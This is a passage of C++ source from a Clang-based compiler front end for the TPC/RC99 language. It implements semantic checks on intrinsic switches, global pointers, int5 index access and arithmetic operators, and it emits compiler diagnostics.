llvm::TPCII::SW_X2_ARITHMETIC) {\n // Allowed only for Vector 8-bit types.\n if (!ArgType->isCharType() && !ArgType->isChar8Type() && !ArgType->isVectorType()) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_X2_MAC\";\n return;\n }\n }\n if (SwValue & llvm::TPCII::SW_ZP) {\n // Allowed only for Vector 8-bit types.\n if (!ArgType->isCharType() && !ArgType->isChar8Type() && !ArgType->isVectorType()) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_ZP\";\n return;\n }\n }\n\n if (SwValue & llvm::TPCII::SW_NEG_ZP) {\n // Allowed only for Vector 8-bit types.\n if (!ArgType->isCharType() && !ArgType->isChar8Type() && !ArgType->isVectorType()) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_type_incompatible_with_switch)\n << ArgType << \"SW_NEG_ZP\";\n return;\n }\n }\n\n // Check switch compatibility.\n if ((NewSwValue & llvm::TPCII::SW_ACC_I32) && (NewSwValue & llvm::TPCII::SW_ACC_I16)) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_conflicting_switches)\n << \"SW_ACC_I32\" << \"SW_ACC_I16\";\n return;\n }\n if (NewSwValue & ~ValidSwitches) {\n std::stringstream ss;\n ss << std::hex << \"0x\" << (SwValue & ~ValidSwitches);\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_invalid_switches) << ss.str();\n return;\n }\n\n // Update switches if necessary.\n if (SwValue != NewSwValue) {\n llvm::APInt Val(32, NewSwValue);\n E->setArg(SwitchArgNo,\n IntegerLiteral::Create(SemaRef.getASTContext(), Val, SwArg->getType(), SwArg->getBeginLoc()));\n }\n }\n\n void processMacSwitches(unsigned SwValue, unsigned BuiltinId, CallExpr *E) {\n processMacMaddSwitches(SwValue, BuiltinId, E, E->getNumArgs() - 3);\n }\n\n void processMaddSwitches(unsigned SwValue, unsigned BuiltinId, CallExpr *E) {\n processMacMaddSwitches(SwValue, BuiltinId, E, E->getNumArgs() - 4);\n }\n\n bool getMulSwitchValue(unsigned BuiltinId, CallExpr *E, unsigned &Val) {\n switch (BuiltinId) {\n case TPC::BIs_f32_mul:\n case TPC::BIs_i32_mul:\n case TPC::BIs_u32_mul:\n case TPC::BIs_i16_mul:\n case TPC::BIs_u16_mul:\n case TPC::BIs_i8_mul:\n case TPC::BIs_u8_mul:\n case TPC::BIs_bf16_mul:\n case TPC::BIs_bf16_mul_acc32:\n case TPC::BIi_i32_mul:\n {\n ASTContext &Ctx = SemaRef.getASTContext();\n auto *D = cast<FunctionDecl>(E->getCallee()->getReferencedDeclOfCallee());\n const Expr *SwArg = E->getArg(2);\n Expr::EvalResult ResVal;\n if (!SwArg->EvaluateAsRValue(ResVal, Ctx)) {\n SemaRef.Diag(SwArg->getBeginLoc(), diag::err_constant_integer_arg_type)\n << D->getDeclName() << SwArg->getSourceRange();\n return false;\n }\n Val = ResVal.Val.getInt().getLimitedValue();\n return true;\n }\n default:\n return false;\n }\n }\n\n bool isInstrWithMask(unsigned BuiltinId, CallExpr *E, unsigned &OpNum) {\n switch (BuiltinId) {\n case TPC::BIi_i32_mov:\n OpNum = 1;\n return true;\n default:\n return false;\n }\n }\n\n void checkIntrinsicArguments(unsigned BuiltinId, CallExpr *E) {\n unsigned SwValue;\n if (getMacSwitchValue(BuiltinId, E, SwValue))\n processMacSwitches(SwValue, BuiltinId, E);\n\n unsigned MaskOp;\n if (isInstrWithMask(BuiltinId, E, MaskOp)) {\n assert(MaskOp < E->getNumArgs());\n assert(E->getArg(MaskOp)->getType()->isIntegerType());\n }\n }\n\npublic:\n RC99Scanner(Sema &S)\n : SemaRef(S),\n TOptions(SemaRef.getASTContext().getTargetInfo().getTargetOpts()) {\n }\n\n bool VisitVarDecl(VarDecl *VD) {\n QualType Ty = VD->getType();\n\n // No variable array support.\n if (Ty->isVariableArrayType()) {\n SemaRef.Diag(VD->getLocation(), diag::err_variable_array);\n return false;\n }\n\n // Prohibit global variables that points to a data in global\n // addressspace - we cannot lower them in -O0 mode.\n if (VD->getDeclContext()->isFileContext() ||\n VD->isStaticDataMember() ||\n VD->getStorageClass() == SC_Static) {\n if (Ty.getAddressSpace() == LangAS::rc99_global) {\n SemaRef.Diag(VD->getLocation(), diag::err_var_in_glob_addrspace);\n return false;\n }\n if (Ty->isPointerType()) {\n const PointerType *PT = Ty->getAs<PointerType>();\n QualType PointeeT = PT->getPointeeType();\n if (PointeeT.getAddressSpace() == LangAS::rc99_global) {\n SemaRef.Diag(VD->getLocation(), diag::err_global_ptr_to_glob_addrspace);\n return false;\n }\n }\n }\n\n checkGlobalPtrType(Ty, VD->getLocation());\n\n // Prohibit aggregates containing short types.\n if (Ty->isArrayType() && containsShortValue(Ty) == AlignmentConflict) {\n SemaRef.Diag(VD->getLocation(), diag::err_aggregate_of_short_values);\n return true;\n }\n\n if (VD->hasInit()) {\n Expr *Init = VD->getInit();\n if (isa<InitListExpr>(Init))\n checkNonZeroElement(VD->getType(), Init, false);\n }\n return true;\n }\n\n bool VisitCastExpr(CastExpr *E) {\n Expr *Src = E->getSubExpr();\n QualType SrcTy = Src->getType();\n QualType DstTy = E->getType();\n SourceLocation DiagLoc;\n\n if (auto ECast = dyn_cast<ExplicitCastExpr>(E)) {\n DiagLoc = ECast->getTypeInfoAsWritten()->getTypeLoc().getEndLoc();\n } else {\n DiagLoc = E->getBeginLoc();\n }\n\n if (isGloabLPtr(SrcTy)) {\n // For global pointers only bitcasts to other global pointers are allowed.\n if (E->getCastKind() != CastKind::CK_NoOp &&\n E->getCastKind() != CastKind::CK_BitCast &&\n E->getCastKind() != CastKind::CK_LValueToRValue) {\n SemaRef.Diag(DiagLoc, diag::err_unsupported_op_on_gptr);\n return true;\n }\n if (!isGloabLPtr(DstTy)) {\n SemaRef.Diag(DiagLoc, diag::err_unsupported_op_on_gptr);\n return true;\n }\n checkGlobalPtrType(SrcTy, DiagLoc);\n }\n else if (isGloabLPtr(DstTy)) {\n if (E->getCastKind() != CastKind::CK_NullToPointer)\n SemaRef.Diag(DiagLoc, diag::err_unsupported_op_on_gptr);\n }\n\n return true;\n }\n\n // Checks if the provided operator acts on operand of boolX type, and if it is\n // so, emit error.\n bool checkBool256Operands(const BinaryOperator *BO) {\n const Expr *LHS = BO->getLHS();\n if (isBoolX(LHS->getType())) {\n SemaRef.Diag(BO->getExprLoc(), diag::err_invalid_operation_on_bool256)\n << BO->getSourceRange();\n return false;\n }\n return true;\n }\n\n bool checkBool256Operands(const UnaryOperator *UO) {\n Expr *Op = UO->getSubExpr();\n if (isBoolX(Op->getType())) {\n SemaRef.Diag(UO->getExprLoc(), diag::err_invalid_operation_on_bool256)\n << UO->getSourceRange();\n return false;\n }\n return true;\n }\n\n bool checkInt5Access(const ArraySubscriptExpr *ASE, int &IndexVal) {\n // Subscript must be an integer constant.\n const Expr *Index = ASE->getIdx();\n Expr::EvalResult EvalResult;\n bool Result = Index->EvaluateAsRValue(EvalResult, SemaRef.getASTContext());\n if (!Result) {\n SemaRef.Diag(Index->getBeginLoc(), diag::err_non_constant_index)\n << Index->getSourceRange();\n return false;\n }\n if (!EvalResult.Val.isInt()) {\n SemaRef.Diag(Index->getBeginLoc(), diag::err_non_constant_index)\n << Index->getSourceRange();\n return false;\n }\n llvm::APSInt &V = EvalResult.Val.getInt();\n if (V.isNegative() || V >= 5) {\n SemaRef.Diag(Index->getBeginLoc(), diag::err_index_out_of_range)\n << Index->getSourceRange();\n return false;\n }\n IndexVal = V.getLimitedValue();\n return true;\n }\n\n const ArraySubscriptExpr *getLHSAccessToInt5(const Expr *E) {\n const Expr *LHS = E->IgnoreParenLValueCasts();\n if (auto ASE = dyn_cast<ArraySubscriptExpr>(LHS))\n if (isIndexType(ASE->getBase()->getType()))\n return ASE;\n return nullptr;\n }\n\n const ArraySubscriptExpr *getRHSAccessToInt5(const Expr *E) {\n const Expr *LHS = E->IgnoreParenCasts();\n if (auto ASE = dyn_cast<ArraySubscriptExpr>(LHS))\n if (isIndexType(ASE->getBase()->getType()))\n return ASE;\n return nullptr;\n }\n\n bool TraverseBinOperatorDescendants(BinaryOperator *E) {\n assert(SemaRef.getLangOpts().LongIRF);\n\n Int5CheckResetter R(*this);\n\n if (auto *ASE = getRHSAccessToInt5(E->getLHS())) {\n int IndexVal;\n if (!checkInt5Access(ASE, IndexVal))\n return true;\n if (R.getOldAllowInt5Access()) {\n if (R.getOldInt5Dim() != IndexVal) {\n SemaRef.Diag(ASE->getBeginLoc(), diag::err_different_int5_dims)\n << ASE->getSourceRange();\n return true;\n }\n }\n Int5Dim = IndexVal;\n AllowInt5Access = true;\n NeedCheckInt5 = true;\n }\n\n if (!TraverseStmt(E->getLHS()))\n return false;\n\n if (!TraverseStmt(E->getRHS()))\n return false;\n return true;\n }\n\n bool TraverseBinAdd(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinAdd(E);\n\n if (!WalkUpFromBinAdd(E))\n return false;\n\n return TraverseBinOperatorDescendants(E);\n }\n\n bool VisitBinAdd(BinaryOperator *E) {\n // Catch operations on global pointer, like 'ptr + 3'. TPC does not have\n // instructions to carry out such computations.\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n // Catch operation on boolX operands.\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinSub(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinMul(BinaryOperator *E) {\n if (checkBool256Operands(E)) {\n checkMulValidity(E);\n }\n return true;\n }\n\n\n bool TraverseCompoundOperatorDescendants(CompoundAssignOperator *E) {\n assert(SemaRef.getLangOpts().LongIRF);\n\n Int5CheckResetter R(*this);\n\n if (auto *ASE = getLHSAccessToInt5(E->getLHS())) {\n int IndexVal;\n if (!checkInt5Access(ASE, IndexVal))\n return true;\n Int5Dim = IndexVal;\n AllowInt5Access = true;\n NeedCheckInt5 = true;\n }\n\n if (!TraverseStmt(E->getLHS()))\n return false;\n\n if (!TraverseStmt(E->getRHS()))\n return false;\n return true;\n }\n\n bool TraverseBinAddAssign(CompoundAssignOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinAddAssign(E);\n\n if (!WalkUpFromBinAddAssign(E))\n return false;\n\n return TraverseCompoundOperatorDescendants(E);\n }\n\n bool TraverseBinSubAssign(CompoundAssignOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinSubAssign(E);\n\n if (!WalkUpFromBinSubAssign(E))\n return false;\n\n return TraverseCompoundOperatorDescendants(E);\n }\n\n bool TraverseBinMulAssign(CompoundAssignOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinMulAssign(E);\n\n if (!WalkUpFromBinMulAssign(E))\n return false;\n\n return TraverseCompoundOperatorDescendants(E);\n }\n\n bool VisitBinAddAssign(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinSubAssign(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinMulAssign(BinaryOperator *E) {\n if (checkBool256Operands(E)) {\n checkMulValidity(E);\n }\n return true;\n }\n\n bool TraverseBinCompareOperatorDescendants(BinaryOperator *E) {\n assert(SemaRef.getLangOpts().LongIRF);\n\n Int5CheckResetter R(*this);\n\n if (auto *ASE = getRHSAccessToInt5(E->getLHS())) {\n int IndexVal;\n if (!checkInt5Access(ASE, IndexVal))\n return true;\n Int5Dim = IndexVal;\n AllowInt5Access = true;\n NeedCheckInt5 = true;\n }\n\n if (!TraverseStmt(E->getLHS()))\n return false;\n if (!TraverseStmt(E->getRHS()))\n return false;\n\n return true;\n }\n\n bool TraverseBinEQ(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinEQ(E);\n\n if (!WalkUpFromBinEQ(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool TraverseBinNE(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinNE(E);\n\n if (!WalkUpFromBinNE(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool TraverseBinLT(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinLT(E);\n\n if (!WalkUpFromBinLT(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool TraverseBinLE(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinLE(E);\n\n if (!WalkUpFromBinLE(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool TraverseBinGT(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinGT(E);\n\n if (!WalkUpFromBinGT(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool TraverseBinGE(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinGE(E);\n\n if (!WalkUpFromBinGE(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool TraverseBinCmp(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinCmp(E);\n\n if (!WalkUpFromBinCmp(E))\n return false;\n\n return TraverseBinCompareOperatorDescendants(E);\n }\n\n bool VisitBinEQ(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n return true;\n }\n\n bool VisitBinNE(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n return true;\n }\n\n bool VisitBinLT(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinLE(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinGT(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinGE(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool VisitBinCmp(BinaryOperator *E) {\n checkNotGlobalPtr(E->getLHS(), E->getExprLoc()) &&\n checkNotGlobalPtr(E->getRHS(), E->getExprLoc());\n checkBool256Operands(E);\n return true;\n }\n\n bool TraverseBinAssign(BinaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseBinAssign(E);\n\n Int5CheckResetter R(*this);\n\n if (!WalkUpFromBinAssign(E))\n return false;\n\n if (auto *ASE = getLHSAccessToInt5(E->getLHS())) {\n int IndexVal;\n if (!checkInt5Access(ASE, IndexVal))\n return true;\n Int5Dim = IndexVal;\n AllowInt5Access = true;\n NeedCheckInt5 = true;\n }\n\n if (!TraverseStmt(E->getLHS()))\n return false;\n\n if (!TraverseStmt(E->getRHS()))\n return false;\n return true;\n }\n\n bool VisitBinAssign(BinaryOperator *E) {\n Expr *LHS = E->getLHS()->IgnoreParenCasts();\n Expr *RHS = E->getRHS();\n\n // Check for global ptr assign.\n Expr *RHSPeeled = RHS->IgnoreParenCasts();\n bool CheckForGPtr = true;\n\n // Do not report error for code like:\n //\n // ptr = (__global int *) a_gen_addr_i(c0, out);\n //\n if (auto Call = dyn_cast<CallExpr>(RHSPeeled))\n if (auto RefExpr = dyn_cast<DeclRefExpr>(Call->getCallee()->IgnoreImpCasts()))\n if (auto Func = dyn_cast<FunctionDecl>(RefExpr->getDecl()))\n if (Func->getBuiltinID())\n CheckForGPtr = false;\n\n // Do not report error for code like:\n //\n // ptr = (__global int *)12;\n //\n // Error for this code will be issued when processing cast. However report\n // error for constructs like:\n //\n // ptr = (__global int *)0;\n //\n // now, because the cast is valid in this case.\n //\n if (auto Cast = dyn_cast<CastExpr>(RHS->IgnoreParens())) {\n if (Cast->getCastKind() != CastKind::CK_NullToPointer &&\n Cast->getCastKind() != CastKind::CK_LValueToRValue)\n CheckForGPtr = false;\n }\n if (CheckForGPtr)\n checkNotGlobalPtr(LHS, E->getExprLoc()) &&\n checkNotGlobalPtr(RHS, E->getExprLoc());\n\n return true;\n }\n\n bool VisitBinShl(BinaryOperator *BinOp) {\n if (SemaRef.CheckNotIndexType(BinOp->getLHS(), BinOp->getExprLoc()))\n SemaRef.CheckNotIndexType(BinOp->getRHS(), BinOp->getExprLoc());\n checkBool256Operands(BinOp);\n return true;\n }\n\n bool VisitBinShr(BinaryOperator *BinOp) {\n if (SemaRef.CheckNotIndexType(BinOp->getLHS(), BinOp->getExprLoc()))\n SemaRef.CheckNotIndexType(BinOp->getRHS(), BinOp->getExprLoc());\n checkBool256Operands(BinOp);\n return true;\n }\n\n bool VisitBinShlAssign(BinaryOperator *BinOp) {\n if (SemaRef.CheckNotIndexType(BinOp->getLHS(), BinOp->getExprLoc()))\n SemaRef.CheckNotIndexType(BinOp->getRHS(), BinOp->getExprLoc());\n checkBool256Operands(BinOp);\n return true;\n }\n\n bool VisitBinShrAssign(BinaryOperator *BinOp) {\n if (SemaRef.CheckNotIndexType(BinOp->getLHS(), BinOp->getExprLoc()))\n SemaRef.CheckNotIndexType(BinOp->getRHS(), BinOp->getExprLoc());\n checkBool256Operands(BinOp);\n return true;\n }\n\n bool VisitBinDiv(BinaryOperator *BinOp) {\n if (!checkBool256Operands(BinOp))\n return true;\n\n const Expr *LHS = BinOp->getLHS();\n const Expr *RHS = BinOp->getRHS();\n ASTContext &Ctx = SemaRef.getASTContext();\n\n if (LHS->isCXX98IntegralConstantExpr(Ctx) &&\n RHS->isCXX98IntegralConstantExpr(Ctx))\n return true;\n\n Expr::EvalResult ResVal;\n if (BinOp->EvaluateAsRValue(ResVal, Ctx))\n return true;\n\n Expr::EvalResult RHSVal;\n if (RHS->EvaluateAsRValue(RHSVal, Ctx))\n return true;\n\n SemaRef.Diag(BinOp->getExprLoc(), diag::err_division);\n return true;\n }\n\n bool VisitBinRem(BinaryOperator *BO) {\n if (!checkBool256Operands(BO))\n return true;\n\n const Expr *LHS = BO->getLHS();\n const Expr *RHS = BO->getRHS();\n ASTContext &Ctx = SemaRef.getASTContext();\n\n if (LHS->isCXX98IntegralConstantExpr(Ctx) &&\n RHS->isCXX98IntegralConstantExpr(Ctx))\n return true;\n\n Expr::EvalResult ResVal;\n if (BO->EvaluateAsRValue(ResVal, Ctx))\n return true;\n\n Expr::EvalResult RHSVal;\n if (RHS->EvaluateAsRValue(RHSVal, Ctx)) {\n if (RHSVal.Val.isInt() && RHSVal.Val.getInt().isPowerOf2())\n return true;\n }\n\n SemaRef.Diag(BO->getExprLoc(), diag::err_remainder);\n return true;\n }\n\n bool VisitBinDivAssign(BinaryOperator *BinOp) {\n if (!checkBool256Operands(BinOp))\n return true;\n\n // If RHS is a power of 2 and the result is integer, the division can be\n // replaced with shift.\n const Expr *RHS = BinOp->getRHS();\n ASTContext &Ctx = SemaRef.getASTContext();\n Expr::EvalResult RHSVal;\n if (RHS->EvaluateAsRValue(RHSVal, Ctx)) {\n if (RHSVal.Val.isInt() && RHSVal.Val.getInt().isPowerOf2())\n return true;\n }\n\n SemaRef.Diag(BinOp->getExprLoc(), diag::err_division);\n return true;\n }\n\n bool VisitBinRemAssign(BinaryOperator *BO) {\n if (!checkBool256Operands(BO))\n return true;\n\n // If RHS is a power of 2 and the result is integer, the remainder can be\n // replaced with and.\n const Expr *RHS = BO->getRHS();\n ASTContext &Ctx = SemaRef.getASTContext();\n Expr::EvalResult RHSVal;\n if (RHS->EvaluateAsRValue(RHSVal, Ctx)) {\n if (RHSVal.Val.isInt() && RHSVal.Val.getInt().isPowerOf2())\n return true;\n }\n\n SemaRef.Diag(BO->getExprLoc(), diag::err_remainder);\n return true;\n }\n\n bool VisitBinLAnd(BinaryOperator *BinOp) {\n if (SemaRef.CheckNotIndexType(BinOp->getLHS(), BinOp->getExprLoc()))\n SemaRef.CheckNotIndexType(BinOp->getRHS(), BinOp->getExprLoc());\n checkBool256Operands(BinOp);\n return true;\n }\n\n bool VisitBinLOr(BinaryOperator *BinOp) {\n if (SemaRef.CheckNotIndexType(BinOp->getLHS(), BinOp->getExprLoc()))\n SemaRef.CheckNotIndexType(BinOp->getRHS(), BinOp->getExprLoc());\n checkBool256Operands(BinOp);\n return true;\n }\n\n bool VisitCallExpr(CallExpr *E) {\n Decl *D = E->getCallee()->getReferencedDeclOfCallee();\n if (const auto *FD = dyn_cast<FunctionDecl>(D)) {\n unsigned BuiltinId = FD->getBuiltinID();\n if (BuiltinId != 0) {\n checkIntrinsicArguments(BuiltinId, E);\n\n // Check printf. We need to bypass index checking.\n if (isPrintFWithValue(BuiltinId)) {\n Expr *Val = E->getArg(1)->IgnoreParenCasts();\n if (auto ASE = dyn_cast<ArraySubscriptExpr>(Val)) {\n SubscrInPrintF.insert(ASE);\n }\n }\n }\n }\n return true;\n }\n\n bool VisitGenericSelectionExpr(GenericSelectionExpr *GS) {\n if (auto ASE = dyn_cast<ArraySubscriptExpr>(GS->getControllingExpr()->IgnoreParenCasts())) {\n SubscrInPrintF.insert(ASE);\n }\n return true;\n }\n\n bool VisitArraySubscriptExpr(ArraySubscriptExpr *ASE) {\n // Prohibit indexed access to global data.\n checkNotGlobalPtr(ASE->getBase(), ASE->getExprLoc()) &&\n checkNotGlobalPtr(ASE->getIdx(), ASE->getExprLoc());\n\n // Indexed access in printf is implemented in a special way.\n if (SubscrInPrintF.find(ASE) != SubscrInPrintF.end())\n return true;\n\n // Make checks depending on base type.\n QualType LHSTy = ASE->getBase()->getType();\n if (LHSTy->isVectorType()) {\n if (isInTPCVectorAddressSpace(LHSTy)) {\n SemaRef.Diag(ASE->getExprLoc(), diag::err_cant_access_vector_element)\n << ASE->getBase()->getSourceRange() << LHSTy.getLocalUnqualifiedType();\n } else {\n // The vector type is not in vector address space, it must be int5.\n const auto *VType = LHSTy->getAs<VectorType>();\n (void)VType;\n assert(isIndexType(LHSTy));\n\n int IndexVal;\n checkInt5Access(ASE, IndexVal);\n\n // If support for irf44 is in effect, indexed access is allowed only in\n // certain contexts.\n if (SemaRef.getLangOpts().LongIRF) {\n if (AllowInt5Access) {\n if (NeedCheckInt5 && Int5Dim != IndexVal) {\n SemaRef.Diag(ASE->getBeginLoc(), diag::err_different_int5_dims)\n << ASE->getSourceRange();\n return true;\n }\n } else {\n SemaRef.Diag(ASE->getBeginLoc(), diag::err_unsupported_int5_access)\n << ASE->getSourceRange();\n return true;\n }\n }\n }\n }\n return true;\n }\n\n bool VisitUnaryPlus(UnaryOperator *UO) {\n checkBool256Operands(UO);\n return true;\n }\n\n bool VisitUnaryMinus(UnaryOperator *UO) {\n checkBool256Operands(UO);\n return true;\n }\n\n bool TraverseUnaryOperatorDescendants(UnaryOperator *E) {\n assert(SemaRef.getLangOpts().LongIRF);\n\n Int5CheckResetter R(*this);\n\n if (auto *ASE = getLHSAccessToInt5(E->getSubExpr())) {\n int IndexVal;\n if (!checkInt5Access(ASE, IndexVal))\n return true;\n AllowInt5Access = true;\n NeedCheckInt5 = false;\n }\n\n if (!TraverseStmt(E->getSubExpr()))\n return false;\n return true;\n }\n\n bool TraverseUnaryPostInc(UnaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseUnaryPostInc(E);\n\n if (!WalkUpFromUnaryPostInc(E))\n return false;\n\n return TraverseUnaryOperatorDescendants(E);\n }\n\n bool TraverseUnaryPostDec(UnaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseUnaryPostDec(E);\n\n if (!WalkUpFromUnaryPostDec(E))\n return false;\n\n return TraverseUnaryOperatorDescendants(E);\n }\n\n bool TraverseUnaryPreInc(UnaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseUnaryPreInc(E);\n\n if (!WalkUpFromUnaryPreInc(E))\n return false;\n\n return TraverseUnaryOperatorDescendants(E);\n }\n\n bool TraverseUnaryPreDec(UnaryOperator *E) {\n if (!SemaRef.getLangOpts().LongIRF)\n return BaseType::TraverseUnaryPreDec(E);\n\n if (!WalkUpFromUnaryPreDec(E))\n return false;\n\n return TraverseUnaryOperatorDescendants(E);\n }\n\n bool VisitUnaryPostInc(UnaryOperator *UO) {\n checkBool256Operands(UO);\n return true;\n }\n\n bool VisitUnaryPostDec(UnaryOperator *UO) {\n checkBool256Operands(UO);\n checkNotGlobalPtr(UO->getSubExpr(), UO->getExprLoc());\n return true;\n }\n\n bool VisitUnaryPreInc(UnaryOperator *UO) {\n checkBool256Operands(UO);\n checkNotGlobalPtr(UO->getSubExpr(), UO->getExprLoc());\n return true;\n }\n\n bool VisitUnaryPreDec(UnaryOperator *UO) {\n checkBool256Operands(UO);\n checkNotGlobalPtr(UO->getSubExpr(), UO->getExprLoc());\n return true;\n }\n\n bool VisitUnaryLNot(UnaryOperator *UO) {\n checkNotGlobalPtr(UO->getSubExpr(), UO->getExprLoc());\n checkBool256Operands(UO);\n return true;\n }\n};\n\n\nclass RC99TranslationUnitScanner : public RecursiveASTVisitor<RC99TranslationUnitScanner> {\n Sema &SemaRef;\n std::map<const FunctionDecl*, const CallExpr*> Defined;\npublic:\n RC99TranslationUnitScanner(Sema &S) : SemaRef(S) {\n assert(S.getLangOpts().RC99);\n }\n\n bool VisitCallExpr(CallExpr *E) {\n Decl *D = E->getCallee()->getReferencedDeclOfCallee();\n if (const auto *FD = dyn_cast<FunctionDecl>(D)) {\n if (FD->getBuiltinID() == 0 && !FD->isDefined() &&\n FD->getDeclName().isIdentifier() &&\n FD->getDeclName().getAsString() != \"__initialize\") {\n SemaRef.Diag(E->getBeginLoc(), diag::err_undefined_function);\n return false;\n }\n Defined[FD] = E;\n }\n return true;\n }\n\n bool VisitRecordDecl(RecordDecl *RD) {\n // Check presence of short values.\n QualType RecType(RD->getTypeForDecl(), 0);\n if (containsShortValue(RecType) == AlignmentConflict) {\n SemaRef.Diag(RD->getLocation(), diag::err_aggregate_of_short_values);\n }\n bool HasScalar = false;\n bool HasVector = false;\n\n // Check that fields are from the same address space.\n for (const auto *F : RD->fields()) {\n if (isInTPCVectorAddressSpace(F->getType()))\n HasVector = true;\n else\n HasScalar = true;\n if (HasVector && HasScalar) {\n SemaRef.Diag(F->getLocation(), diag::err_incompatible_addr_space);\n }\n }\n\n return true;\n }\n};\n\n}\n\nbool Sema::CheckNotIndexType(Expr *E, SourceLocation Loc) {\n if (isIndexType(E->getType())) {\n Diag(Loc, diag::err_unallowed_operation_for_int5);\n return false;\n }\n return true;\n}\n\nbool Sema::checkBeforeCodegen(Decl *D) {\n if (!getLangOpts().RC99)\n return true;\n\n // For now skip anything other than function declarations, function template\n // declarations and variable declarations. Type declarations (like 'bool256')\n // do not need special treatment.\n if (!isa<FunctionDecl>(D) && !isa<FunctionTemplateDecl>(D) && !isa<VarDecl>(D))\n return true;\n\n // If source file does not contain intrinsic calls, TPC types may be absent,\n // so load them now.\n Context.loadTpcTypes();\n\n if (auto *FD = dyn_cast<FunctionDecl>(D)) {\n // If this function is not main function, mark it as always_inline. Do not\n // mark support functions, like \"__fdiv\". They will be marked in backend, by\n // pass NodePreLegalizer.\n if ((FD->getStorageClass() != SC_Extern) &&\n !(FD->getDeclContext()->isTranslationUnit() &&\n FD->getName() == LangOpts.MainFunction) &&\n !FD->getName().startswith(\"__\")) {\n FD->addAttr(AlwaysInlineAttr::CreateImplicit(Context));\n FD->setInlineSpecified(true);\n }\n }\n else if (auto FTD = dyn_cast<FunctionTemplateDecl>(D)) {\n FunctionDecl *FD = FTD->getTemplatedDecl();\n FD->addAttr(AlwaysInlineAttr::CreateImplicit(Context));\n FD->setInlineSpecified(true);\n }\n\n RC99Scanner Scanner(*this);\n Scanner.TraverseDecl(D);\n\n return true;\n}\n\nbool Sema::isPrintfEnabled(FunctionDecl *FDecl) {\n DeclarationName MemberName = FDecl->getDeclName();\n IdentifierInfo *Member = MemberName.getAsIdentifierInfo();\n if (Member->getName().startswith(\"printf_\"))\n return TpcPrintfPragmaIsOn;\n return true;\n}\n\nvoid Sema::checkTranslationUnin() {\n // Check if main function is present.\n IdentifierInfo *II = PP.getIdentifierInfo(getLangOpts().MainFunction);\n DeclarationName DN(II);\n DeclarationNameInfo DNI(DN, SourceLocation());\n LookupResult R(*this, DNI, LookupOrdinaryName);\n LookupName(R, TUScope);\n if (R.getResultKind() != LookupResult::Found) {\n Diag(SourceLocation(), diag::err_main_not_found);\n return;\n }\n if (!isa<FunctionDecl>(R.getFoundDecl())) {\n Diag(SourceLocation(), diag::err_main_not_found);\n return;\n }\n\n // Check if main function has correct prototype.\n FunctionDecl *MainFunc = dyn_cast<FunctionDecl>(R.getFoundDecl());\n QualType T = MainFunc->getType();\n 